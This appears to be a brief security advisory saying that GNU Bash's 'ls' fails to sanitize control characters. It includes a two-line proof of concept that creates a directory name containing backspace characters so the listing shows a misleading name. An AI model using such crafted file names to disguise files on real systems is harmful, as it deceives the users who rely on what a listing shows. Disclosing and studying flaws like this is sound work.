  GNU Bash is prone to a command-injection vulnerability because it fails to adequately sanitize control characters in the 'ls' command.
  
  Attackers can exploit this issue to execute arbitrary commands in a bash terminal; other attacks may also be possible. 
  
  The following example is available:
  
  1. mkdir $(echo -e 'couc\x08\x08asd')
  2. ls
  
  Displays:
  coasd/
  
  Expected:
  couc??asd/
